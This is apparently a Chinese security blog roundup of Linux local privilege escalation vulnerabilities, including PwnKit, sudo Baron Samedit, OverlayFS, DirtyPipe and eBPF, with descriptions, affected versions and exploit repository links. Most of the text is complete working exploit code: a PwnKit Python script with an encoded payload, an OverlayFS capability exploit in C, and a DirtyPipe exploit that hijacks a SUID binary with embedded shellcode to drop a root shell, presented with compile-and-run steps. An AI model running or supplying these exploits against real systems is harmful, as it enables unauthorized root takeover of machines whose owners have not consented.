Linux提权0day汇总

1.Linux openvswitch权限提升漏洞 CVE-2022-2639

#漏洞描述

由于 openvswitch 模块在处理大量actions的情况下，可能存在越界写入漏洞，本地经过身份认证的攻击者可利用此漏洞获取root权限

#漏洞影响

3.13 ≤ Linux Kernel < 5.18

#漏洞复现

编译POC并运行获取Root权限

https://github.com/avboy1337/CVE-2022-2639-PipeVersion

2.Linux Polkit权限提升漏洞 CVE-2021-4034

#漏洞描述

Qualys 研究团队在 polkit 的 pkexec 中发现了一个内存损坏漏洞，该 SUID 根程序默认安装在每个主要的 Linux 发行版上。这个易于利用的漏洞允许任何非特权用户通过在其默认配置中利用此漏洞来获得易受攻击主机上的完全 root 权限。

#漏洞影响

Polkit > 2009

#漏洞复现

POC来源: https://blog.qualys.com/vulnerabilities-threat-research/2022/01/25/pwnkit-local-privilege-escalation-vulnerability-discovered-in-polkits-pkexec-cve-2021-4034

#漏洞POC

https://github.com/nikaiw/CVE-2021-4034/blob/master/cve2021-4034.py

#!/usr/bin/env python3  
  
# poc for https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt found by qualys  
# hardcoded amd64 lib  
from ctypes import *  
from ctypes.util import find_library  
import os  
import zlib  
import base64  
import tempfile  
  
payload = zlib.decompress(  
    base64.b64decode(  
        """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"""  
    )  
)  
libc = CDLL(find_library("c"))  
libc.execve.argtypes = c_char_p, POINTER(c_char_p), POINTER(c_char_p)  
libc.execve.restype = c_ssize_t  
  
wd = tempfile.mkdtemp()  
open(wd + "/pwn.so", "wb").write(payload)  
os.mkdir(wd + "/gconv/")  
open(wd + "/gconv/gconv-modules", "w").write(  
    "module  UTF-8//    INTERNAL    ../pwn    2"  
)  
os.mkdir(wd + "/GCONV_PATH=.")  
os.mknod(wd + "/GCONV_PATH=./gconv")  
os.chmod(wd + "/GCONV_PATH=.", 0o777)  
os.chmod(wd + "/GCONV_PATH=./gconv", 0o777)  
os.chmod(wd + "/pwn.so", 0o777)  
os.chdir(wd)  
cmd = b"/usr/bin/pkexec"  
argv = []  
envp = [  
    b"gconv",  
    b"PATH=GCONV_PATH=.",  
    b"LC_MESSAGES=en_US.UTF-8",  
    b"XAUTHORITY=../gconv",  
    b"",  
]  
  
cargv = (c_char_p * (len(argv) + 1))(*argv, None)  
cenv = (c_char_p * (len(envp) + 1))(*envp, None)  
libc.execve(cmd, cargv, cenv)

3.Linux sudo权限提升漏洞 CVE-2021-3156

#漏洞描述

2021年1月26日，Linux安全工具sudo被发现严重的基于堆缓冲区溢出漏洞。利用这一漏洞，攻击者无需知道用户密码，一样可以获得root权限，并且是在默认配置下。此漏洞已分配为CVE-2021-3156，危险等级评分为7分。当sudo通过-s或-i命令行选项在shell模式下运行命令时，它将在命令参数中使用反斜杠转义特殊字符。但使用-s或-i标志运行sudoedit时，实际上并未进行转义，从而可能导致缓冲区溢出。因此只要存在sudoers文件（通常是/etc/sudoers），攻击者就可以使用本地普通用户利用sudo获得系统root权限。研究人员利用该漏洞在多个Linux发行版上成功获得了完整的root权限，包括Ubuntu 20.04（sudo 1.8.31）、Debian 10（sudo 1.8.27）和Fedora 33（sudo 1.9.2），并且sudo支持的其他操作系统和Linux发行版也很容易受到攻击。

#漏洞影响

Sudo 1.8.2 - 1.8.31p2
Sudo 1.9.0 - 1.9.5p1

#漏洞复现

目前POC已经在Github公开

POC来源: https://github.com/blasty/CVE-2021-3156

另一个无交互式shell使用的脚本:https://github.com/Rvn0xsy/CVE-2021-3156-plus

Linux kernel权限提升漏洞 CVE-2021-3493

#漏洞描述

Ubuntu OverlayFS Local Privesc CVE-2021-3493 EXP在Github被公开，可以通过EXP在Ubuntu多个影响系统中提升 ROOT权限

#漏洞影响

Ubuntu 20.10
Ubuntu 20.04 LTS
Ubuntu 18.04 LTS
Ubuntu 16.04 LTS
Ubuntu 14.04 ESM

#漏洞复现

漏洞Github地址为：https://github.com/briskets/CVE-2021-3493

环境使用腾讯云的Ubuntu镜像即可

gcc exploit.c -o exploit  
chmod +x exploit  
./exploit

1
2
3

下载并编译脚本

运行EXP成功提权 Root

漏洞POC

#define _GNU_SOURCE  
#include <stdio.h>  
#include <stdlib.h>  
#include <string.h>  
#include <unistd.h>  
#include <fcntl.h>  
#include <err.h>  
#include <errno.h>  
#include <sched.h>  
#include <sys/types.h>  
#include <sys/stat.h>  
#include <sys/wait.h>  
#include <sys/mount.h>  
  
//#include <attr/xattr.h>  
//#include <sys/xattr.h>  
int setxattr(const char *path, const char *name, const void *value, size_t size, int flags);  
  
  
#define DIR_BASE    "./ovlcap"  
#define DIR_WORK    DIR_BASE "/work"  
#define DIR_LOWER   DIR_BASE "/lower"  
#define DIR_UPPER   DIR_BASE "/upper"  
#define DIR_MERGE   DIR_BASE "/merge"  
#define BIN_MERGE   DIR_MERGE "/magic"  
#define BIN_UPPER   DIR_UPPER "/magic"  
  
  
static void xmkdir(const char *path, mode_t mode)  
{  
    if (mkdir(path, mode) == -1 && errno != EEXIST)  
        err(1, "mkdir %s", path);  
}  
  
static void xwritefile(const char *path, const char *data)  
{  
    int fd = open(path, O_WRONLY);  
    if (fd == -1)  
        err(1, "open %s", path);  
    ssize_t len = (ssize_t) strlen(data);  
    if (write(fd, data, len) != len)  
        err(1, "write %s", path);  
    close(fd);  
}  
  
static void xcopyfile(const char *src, const char *dst, mode_t mode)  
{  
    int fi, fo;  
  
    if ((fi = open(src, O_RDONLY)) == -1)  
        err(1, "open %s", src);  
    if ((fo = open(dst, O_WRONLY | O_CREAT, mode)) == -1)  
        err(1, "open %s", dst);  
  
    char buf[4096];  
    ssize_t rd, wr;  
  
    for (;;) {  
        rd = read(fi, buf, sizeof(buf));  
        if (rd == 0) {  
            break;  
        } else if (rd == -1) {  
            if (errno == EINTR)  
                continue;  
            err(1, "read %s", src);  
        }  
  
        char *p = buf;  
        while (rd > 0) {  
            wr = write(fo, p, rd);  
            if (wr == -1) {  
                if (errno == EINTR)  
                    continue;  
                err(1, "write %s", dst);  
            }  
            p += wr;  
            rd -= wr;  
        }  
    }  
  
    close(fi);  
    close(fo);  
}  
  
static int exploit()  
{  
    char buf[4096];  
  
    sprintf(buf, "rm -rf '%s/'", DIR_BASE);  
    system(buf);  
  
    xmkdir(DIR_BASE, 0777);  
    xmkdir(DIR_WORK,  0777);  
    xmkdir(DIR_LOWER, 0777);  
    xmkdir(DIR_UPPER, 0777);  
    xmkdir(DIR_MERGE, 0777);  
  
    uid_t uid = getuid();  
    gid_t gid = getgid();  
  
    if (unshare(CLONE_NEWNS | CLONE_NEWUSER) == -1)  
        err(1, "unshare");  
  
    xwritefile("/proc/self/setgroups", "deny");  
  
    sprintf(buf, "0 %d 1", uid);  
    xwritefile("/proc/self/uid_map", buf);  
  
    sprintf(buf, "0 %d 1", gid);  
    xwritefile("/proc/self/gid_map", buf);  
  
    sprintf(buf, "lowerdir=%s,upperdir=%s,workdir=%s", DIR_LOWER, DIR_UPPER, DIR_WORK);  
    if (mount("overlay", DIR_MERGE, "overlay", 0, buf) == -1)  
        err(1, "mount %s", DIR_MERGE);  
  
    // all+ep  
    char cap[] = "\x01\x00\x00\x02\xff\xff\xff\xff\x00\x00\x00\x00\xff\xff\xff\xff\x00\x00\x00\x00";  
  
    xcopyfile("/proc/self/exe", BIN_MERGE, 0777);  
    if (setxattr(BIN_MERGE, "security.capability", cap, sizeof(cap) - 1, 0) == -1)  
        err(1, "setxattr %s", BIN_MERGE);  
  
    return 0;  
}  
  
int main(int argc, char *argv[])  
{  
    if (strstr(argv[0], "magic") || (argc > 1 && !strcmp(argv[1], "shell"))) {  
        setuid(0);  
        setgid(0);  
        execl("/bin/bash", "/bin/bash", "--norc", "--noprofile", "-i", NULL);  
        err(1, "execl /bin/bash");  
    }  
  
    pid_t child = fork();  
    if (child == -1)  
        err(1, "fork");  
  
    if (child == 0) {  
        _exit(exploit());  
    } else {  
        waitpid(child, NULL, 0);  
    }  
  
    execl(BIN_UPPER, BIN_UPPER, "shell", NULL);  
    err(1, "execl %s", BIN_UPPER);  
}

4.Linux DirtyPipe权限提升漏洞 CVE-2022-0847

#漏洞描述

CVE-2022-0847-DirtyPipe-Exploit CVE-2022-0847 是存在于 Linux内核 5.8 及之后版本中的本地提权漏洞。攻击者通过利用此漏洞，可覆盖重写任意可读文件中的数据，从而可将普通权限的用户提升到特权 root。 CVE-2022-0847 的漏洞原理类似于 CVE-2016-5195 脏牛漏洞（Dirty Cow），但它更容易被利用。漏洞作者将此漏洞命名为“Dirty Pipe”

#漏洞影响

Linux内核 5.8 及之后版本

#漏洞复现

查找具有suid权限的可执行文件

find / -user root -perm /4000 2>/dev/null

编译POC文件后，指定修改的Suid可执行文件，获取root权限

#漏洞POC

//  
// dirtypipez.c  
//  
// hacked up Dirty Pipe (CVE-2022-0847) PoC that hijacks a SUID binary to spawn  
// a root shell. (and attempts to restore the damaged binary as well)  
//  
// Wow, Dirty CoW reloaded!  
//  
// -- blasty <peter@haxx.in> // 2022-03-07  
  
/* SPDX-License-Identifier: GPL-2.0 */  
/*  
 * Copyright 2022 CM4all GmbH / IONOS SE  
 *  
 * author: Max Kellermann <max.kellermann@ionos.com>  
 *  
 * Proof-of-concept exploit for the Dirty Pipe  
 * vulnerability (CVE-2022-0847) caused by an uninitialized  
 * "pipe_buffer.flags" variable.  It demonstrates how to overwrite any  
 * file contents in the page cache, even if the file is not permitted  
 * to be written, immutable or on a read-only mount.  
 *  
 * This exploit requires Linux 5.8 or later; the code path was made  
 * reachable by commit f6dd975583bd ("pipe: merge  
 * anon_pipe_buf*_ops").  The commit did not introduce the bug, it was  
 * there before, it just provided an easy way to exploit it.  
 *  
 * There are two major limitations of this exploit: the offset cannot  
 * be on a page boundary (it needs to write one byte before the offset  
 * to add a reference to this page to the pipe), and the write cannot  
 * cross a page boundary.  
 *  
 * Example: ./write_anything /root/.ssh/authorized_keys 1 $'\nssh-ed25519 AAA......\n'  
 *  
 * Further explanation: https://dirtypipe.cm4all.com/  
 */  
  
#define _GNU_SOURCE  
#include <unistd.h>  
#include <fcntl.h>  
#include <stdio.h>  
#include <stdlib.h>  
#include <string.h>  
#include <sys/stat.h>  
#include <sys/user.h>  
#include <stdint.h>  
  
#ifndef PAGE_SIZE  
#define PAGE_SIZE 4096  
#endif  
  
// small (linux x86_64) ELF file matroshka doll that does;  
//   fd = open("/tmp/sh", O_WRONLY | O_CREAT | O_TRUNC);  
//   write(fd, elfcode, elfcode_len)  
//   chmod("/tmp/sh", 04755)  
//   close(fd);  
//   exit(0);  
//  
// the dropped ELF simply does:  
//   setuid(0);  
//   setgid(0);  
//   execve("/bin/sh", ["/bin/sh", NULL], [NULL]);  
unsigned char elfcode[] = {  
	/*0x7f,*/ 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,  
	0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00,  
	0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00,  
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,  
	0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00, 0x01, 0x00, 0x00, 0x00,  
	0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00,  
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00,  
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00,  
	0x97, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x97, 0x01, 0x00, 0x00,  
	0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,  
	0x48, 0x8d, 0x3d, 0x56, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc6, 0x41, 0x02,  
	0x00, 0x00, 0x48, 0xc7, 0xc0, 0x02, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48,  
	0x89, 0xc7, 0x48, 0x8d, 0x35, 0x44, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc2,  
	0xba, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc0, 0x01, 0x00, 0x00, 0x00, 0x0f,  
	0x05, 0x48, 0xc7, 0xc0, 0x03, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x8d,  
	0x3d, 0x1c, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc6, 0xed, 0x09, 0x00, 0x00,  
	0x48, 0xc7, 0xc0, 0x5a, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x31, 0xff,  
	0x48, 0xc7, 0xc0, 0x3c, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x2f, 0x74, 0x6d,  
	0x70, 0x2f, 0x73, 0x68, 0x00, 0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01,  
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e,  
	0x00, 0x01, 0x00, 0x00, 0x00, 0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00,  
	0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,  
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38,  
	0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00,  
	0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,  
	0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40,  
	0x00, 0x00, 0x00, 0x00, 0x00, 0xba, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,  
	0x00, 0xba, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00,  
	0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x31, 0xff, 0x48, 0xc7, 0xc0, 0x69,  
	0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x31, 0xff, 0x48, 0xc7, 0xc0, 0x6a,  
	0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x8d, 0x3d, 0x1b, 0x00, 0x00, 0x00,  
	0x6a, 0x00, 0x48, 0x89, 0xe2, 0x57, 0x48, 0x89, 0xe6, 0x48, 0xc7, 0xc0,  
	0x3b, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0xc7, 0xc0, 0x3c, 0x00, 0x00,  
	0x00, 0x0f, 0x05, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00  
};  
  
/**  
 * Create a pipe where all "bufs" on the pipe_inode_info ring have the  
 * PIPE_BUF_FLAG_CAN_MERGE flag set.  
 */  
static void prepare_pipe(int p[2])  
{  
	if (pipe(p)) abort();  
  
	const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ);  
	static char buffer[4096];  
  
	/* fill the pipe completely; each pipe_buffer will now have  
	   the PIPE_BUF_FLAG_CAN_MERGE flag */  
	for (unsigned r = pipe_size; r > 0;) {  
		unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;  
		write(p[1], buffer, n);  
		r -= n;  
	}  
  
	/* drain the pipe, freeing all pipe_buffer instances (but  
	   leaving the flags initialized) */  
	for (unsigned r = pipe_size; r > 0;) {  
		unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;  
		read(p[0], buffer, n);  
		r -= n;  
	}  
  
	/* the pipe is now empty, and if somebody adds a new  
	   pipe_buffer without initializing its "flags", the buffer  
	   will be mergeable */  
}  
  
int hax(char *filename, long offset, uint8_t *data, size_t len) {  
	/* open the input file and validate the specified offset */  
	const int fd = open(filename, O_RDONLY); // yes, read-only! :-)  
	if (fd < 0) {  
		perror("open failed");  
		return -1;  
	}  
  
	struct stat st;  
	if (fstat(fd, &st)) {  
		perror("stat failed");  
		return -1;  
	}  
  
	/* create the pipe with all flags initialized with  
	   PIPE_BUF_FLAG_CAN_MERGE */  
	int p[2];  
	prepare_pipe(p);  
  
	/* splice one byte from before the specified offset into the  
	   pipe; this will add a reference to the page cache, but  
	   since copy_page_to_iter_pipe() does not initialize the  
	   "flags", PIPE_BUF_FLAG_CAN_MERGE is still set */  
	--offset;  
	ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0);  
	if (nbytes < 0) {  
		perror("splice failed");  
		return -1;  
	}  
	if (nbytes == 0) {  
		fprintf(stderr, "short splice\n");  
		return -1;  
	}  
  
	/* the following write will not create a new pipe_buffer, but  
	   will instead write into the page cache, because of the  
	   PIPE_BUF_FLAG_CAN_MERGE flag */  
	nbytes = write(p[1], data, len);  
	if (nbytes < 0) {  
		perror("write failed");  
		return -1;  
	}  
	if ((size_t)nbytes < len) {  
		fprintf(stderr, "short write\n");  
		return -1;  
	}  
  
	close(fd);  
  
	return 0;  
}  
  
int main(int argc, char **argv) {  
	if (argc != 2) {  
		fprintf(stderr, "Usage: %s SUID\n", argv[0]);  
		return EXIT_FAILURE;  
	}  
  
	char *path = argv[1];  
	uint8_t *data = elfcode;  
  
	int fd = open(path, O_RDONLY);  
	uint8_t *orig_bytes = malloc(sizeof(elfcode));  
	lseek(fd, 1, SEEK_SET);  
	read(fd, orig_bytes, sizeof(elfcode));  
	close(fd);  
  
	printf("[+] hijacking suid binary..\n");  
	if (hax(path, 1, elfcode, sizeof(elfcode)) != 0) {  
		printf("[~] failed\n");  
		return EXIT_FAILURE;  
	}  
  
	printf("[+] dropping suid shell..\n");  
	system(path);  
  
	printf("[+] restoring suid binary..\n");  
	if (hax(path, 1, orig_bytes, sizeof(elfcode)) != 0) {  
		printf("[~] failed\n");  
		return EXIT_FAILURE;  
	}  
  
	printf("[+] popping root shell.. (dont forget to clean up /tmp/sh ;))\n");  
	system("/tmp/sh");  
  
	return EXIT_SUCCESS;  
}

5.Linux eBPF权限提升漏洞 CVE-2022-23222

#漏洞描述

Linux Kernel 是美国 Linux 基金会发布的开源操作系统 Linux 所使用的内核。Linux 内核是一种开源的类Unix 操作系统宏内核。整个 Linux 操作系统家族基于该内核部署在传统计算机平台（如个人计算机和服务器）。该漏洞是由于 Linux 内核的 BPF 验证器存在一个空指针漏洞，没有对 *_OR_NULL 指针类型进行限制，允许这些类型进行指针运算。攻击者可利用该漏洞在获得低权限的情况下，构造恶意数据执行空指针引用攻击，最终获取服务器 root 权限

#漏洞影响

Linux 5.8 - 5.16

#漏洞复现

运行编译好的EXP

#漏洞POC

https://github.com/tr3ee/CVE-2022-23222

长亭百川云 - 文章详情

长亭百川云

长亭百川云 - 文章详情

长亭百川云

1.Linux openvswitch权限提升漏洞 CVE-2022-2639

#漏洞描述

#漏洞影响

#漏洞复现

2.Linux Polkit权限提升漏洞 CVE-2021-4034

#漏洞描述

#漏洞影响

#漏洞复现

#漏洞POC

3.Linux sudo权限提升漏洞 CVE-2021-3156

#漏洞描述

#漏洞影响

#漏洞复现

Linux kernel权限提升漏洞 CVE-2021-3493

#漏洞描述

#漏洞影响

#漏洞复现

4.Linux DirtyPipe权限提升漏洞 CVE-2022-0847

#漏洞描述

#漏洞影响

#漏洞复现

#漏洞POC

5.Linux eBPF权限提升漏洞 CVE-2022-23222

#漏洞描述

#漏洞影响

#漏洞复现

#漏洞POC